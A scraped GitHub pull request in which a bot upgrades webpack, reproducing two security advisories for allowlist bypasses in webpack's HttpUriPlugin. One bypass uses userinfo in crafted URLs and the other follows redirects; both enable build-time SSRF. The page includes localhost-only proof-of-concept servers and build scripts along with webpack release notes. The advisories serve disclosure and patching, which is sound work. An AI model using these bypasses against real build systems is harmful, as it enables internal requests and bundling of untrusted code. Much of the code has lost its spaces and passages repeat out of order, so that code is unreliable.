You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
webpack version: 5.104.0
Node version: v18.19.1
Details
Root cause (high level):allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
#!/usr/bin/env node
"use strict";consthttp=require("http");constALLOWED_PORT=9000;// allowlisted-looking hostconstINTERNAL_PORT=9100;// actual target if bypass succeedsconstsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`// internal-only\n`+`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionlisten(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// "Allowed" host (should NOT be contacted if bypass works as intended)awaitlisten(ALLOWED_PORT,(req,res)=>{console.log(`[allowed-host] ${req.method}${req.url} (should NOT be hit in userinfo bypass)`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);});// Internal-only service (SSRF-like target)awaitlisten(INTERNAL_PORT,(req,res)=>{if(req.url==="/secret.js"){console.log(`[internal] 200 /secret.js served (secret=${secret})`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);return;}console.log(`[internal] 404 ${req.method}${req.url}`);res.statusCode=404;res.end("not found");});console.log("\nServers up:");console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);})();
2) Create server.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");functionfmtBool(b){returnb ? "✅" : "❌";}asyncfunctionwalk(dir){constout=[];letitems;try{items=awaitfs.readdir(dir,{withFileTypes: true});}catch{returnout;}for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);consts1=buf.toString("utf8");if(s1.includes(needle))returntrue;consts2=buf.toString("latin1");returns2.includes(needle);}catch{returnfalse;}}(async()=>{constwebpackVersion=require("webpack/package.json").version;constALLOWED_PORT=9000;constINTERNAL_PORT=9100;// NOTE: allowlist is intentionally specified without a trailing slash// to demonstrate the risk of raw string prefix checks.constallowedUri=`http://127.0.0.1:${ALLOWED_PORT}`;// Crafted URL using userinfo so that:// - The string begins with allowedUri// - The actual authority (host:port) after '@​' is INTERNAL_PORTconstcrafted=`http://127.0.0.1:${ALLOWED_PORT}@​127.0.0.1:${INTERNAL_PORT}/secret.js`;constparsed=newURL(crafted);consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-httpuri-userinfo-poc-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(crafted)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedUri],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};console.log("\n[ENV]");console.log(`- webpack version: ${webpackVersion}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);console.log("\n[CRAFTED URL]");console.log(`- import specifier: ${crafted}`);console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);console.log(`- WHAT URL() parses:`);console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);console.log(` - hostname: ${parsed.hostname}`);console.log(` - port: ${parsed.port}`);console.log(` - origin: ${parsed.origin}`);console.log(` - NOTE: request goes to origin above (host/port after @​), not to "${allowedUri}"`);constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error("\n[WEBPACK ERRORS]");console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constfoundSecret=m ? m[0] : null;console.log("\n[RESULT]");console.log(`- temp dir: ${tmp}`);console.log(`- bundle: ${bundlePath}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log("\n[SECURITY CHECK]");console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);if(foundSecret){constlockHit=awaitfileContains(lockfile,foundSecret);constcacheFiles=awaitwalk(cacheDir);letcacheHit=false;for(constfofcacheFiles){if(awaitfileContains(f,foundSecret)){cacheHit=true;break;}}console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);}}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#!/usr/bin/env node
"use strict";consthttp=require("http");consturl=require("url");constallowedPort=9000;constinternalPort=9100;constinternalUrlDefault=`http://127.0.0.1:${internalPort}/secret.js`;constsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionstart(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// Internal-only service (SSRF target)awaitstart(internalPort,(req,res)=>{if(req.url==="/secret.js"){res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);console.log(`[internal] 200 /secret.js served (secret=${secret})`);return;}res.statusCode=404;res.end("not found");});// Allowed host (redirector)awaitstart(allowedPort,(req,res)=>{constparsed=url.parse(req.url,true);if(parsed.pathname==="/redirect.js"){constto=parsed.query.to||internalUrlDefault;// Safety guard: only allow redirecting to localhost internal service in this PoCif(!to.startsWith(`http://127.0.0.1:${internalPort}/`)){res.statusCode=400;res.end("to must be internal-only in this PoC");console.log(`[allowed] blocked redirect to: ${to}`);return;}res.statusCode=302;res.setHeader("Location",to);res.end("redirecting");console.log(`[allowed] 302 /redirect.js -> ${to}`);return;}res.statusCode=404;res.end("not found");});console.log(`\nServer running:`);console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);})();
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
d3dd841: Enhance import.meta.env to support object access.
4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]
Feb 12, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 12, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 16, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 16, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 17, 2026
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.
Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/buffer@4.9.2. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 17, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 20, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 20, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 24, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 24, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]
Mar 5, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Mar 5, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]
Mar 13, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Mar 13, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]
Mar 26, 2026
renovatebot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Mar 26, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dependenciesUpgrade or downgrade of project dependencies.
0 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
^5.101.3→^5.104.1GitHub Vulnerability Alerts
CVE-2025-68458
Summary
When
experiments.buildHttpis enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outsideallowedUrisby using crafted URLs that include userinfo (username:password@host). IfallowedUrisenforcement relies on a raw string prefix check (e.g.,uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.Reproduced on:
Details
Root cause (high level):
allowedUrisvalidation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g.,new URL(uri)), which interprets the authority as the part after@.Example crafted URL:
http://127.0.0.1:9000@​127.0.0.1:9100/secret.jsIf the allow-list is
["http://127.0.0.1:9000"], then:crafted.startsWith("http://127.0.0.1:9000")→ truenew URL()will contact):origin→http://127.0.0.1:9100(host/port after@)As a result, webpack fetches
http://127.0.0.1:9100/secret.jseven thoughallowedUrisonly includedhttp://127.0.0.1:9000.Evidence from reproduction:
[internal] 200 /secret.js served (...)(observed multiple times)PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
2) Create server.js
2) Create server.js
4) Run
Terminal A:
Terminal B:
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
CVE-2025-68157
Summary
When
experiments.buildHttpis enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforcesallowedUrisonly for the initial URL, but does not re-validateallowedUrisafter following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.Details
In the HTTP scheme resolver, the allow-list check (
allowedUris) is performed when metadata/info is created for the original request (viagetInfo()), but the content-fetch path follows redirects by resolving theLocationURL without re-checking whether the redirected URL is withinallowedUris.Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to
http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
2) Create server.js
3) Create attacker.js
4) Run
Terminal A:
Terminal B:
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Release Notes
webpack/webpack (webpack)
v5.104.1Compare Source
Patch Changes
2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.v5.104.0Compare Source
Minor Changes
d3dd841: Use method shorthand to render module content in__webpack_modules__object.d3dd841: Enhanceimport.meta.envto support object access.4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.04cd530: Handle more at-rules for CSS modules.cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.d3dd841: Addedbase64url,base62,base58,base52,base49,base36,base32andbase25digests.5983843: Provide a stable runtime function variable__webpack_global__.d3dd841: ImprovedlocalIdentNamehashing for CSS.Patch Changes
22c48fb: Added module existence check for informative error message in development mode.50689e1: Use the fully qualified class name (or export name) for[fullhash]placeholder in CSS modules.d3dd841: Support universal lazy compilation.d3dd841: Fixed module library export definitions when multiple runtimes.d3dd841: Fixed CSS nesting and CSS custom properties parsing.d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.aab1da9: Fixed bugs forcss/globaltype.d3dd841: Compatibilityimport.meta.filenameandimport.meta.dirnamewithevaldevtools.d3dd841: Handle nested__webpack_require__.728ddb7: The speed of identifier parsing has been improved.0f8b31b: Improve types.d3dd841: Don't corruptdebugIdinjection whenhidden-source-mapis used.2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.d3dd841: SerializeHookWebpackError.d3dd841: Added ability to use built-in properties in dotenv and define plugin.3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.d3dd841: Reduce collision for local indent name in CSS.d3dd841: Remove CSS link tags when CSS imports are removed.v5.103.0Compare Source
Features
DotenvPluginand top leveldotenvoption to enable this pluginWebpackManifestPluginignoreListoption in devtool pluginsimport.meta.envsupport for environment variablesimport.meta.dirnameandimport.meta.filenameimport.defer()for statistical pathimport file from "./file.json" with { type: "json" }__dirname/__filename/import.meta.dirname/import.meta.filenamefor universal targetexportTypeoption withlink(by default), "text" andcss-style-sheetvaluescomposespropertiesFixes
dependOnchunk must be loaded before the common chunkglobalThissupported__dirnameand__filenamefor ES modules__webpack_export__and__webpack_require__in already bundled codehashDigesttypev5.102.1Compare Source
Fixes
extendswithenvforbrowserslistJSONPfragment format for web workers.browserslist.commonjsexternals forSystemJSformat.import.metawarning messages to be more clear when used directly.v5.102.0Compare Source
Features
import file from "./file.ext" with { type: "bytes" }to get the content asUint8Array(look at example)import file from "./file.ext" with { type: "text" }to get the content as text (look at example)snapshot.contextModuleto configure snapshots options for context modulesextractSourceMapoption to implement the capabilities of loading source maps by comment, you don't needsource-map-loader(look at example)topLevelAwaitexperiment is now stable (you can removeexperiments.topLevelAwaitfrom yourwebpack.config.js)layersexperiment is now stable (you can removeexperiments.layersfrom yourwebpack.config.js)Fixes
thisexportstimeoutattribute of script tages-lexerformjsfiles for build dependencies__non_webpack_require__for ES moduleschunk.auxiliaryFilescreateRequireonly when output is ES module and target is nodePerformance Improvements
Configuration
📅 Schedule: Branch creation - "" in timezone America/New_York, Automerge - At any time (no schedule defined).
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
This PR was generated by Mend Renovate. View the repository job log.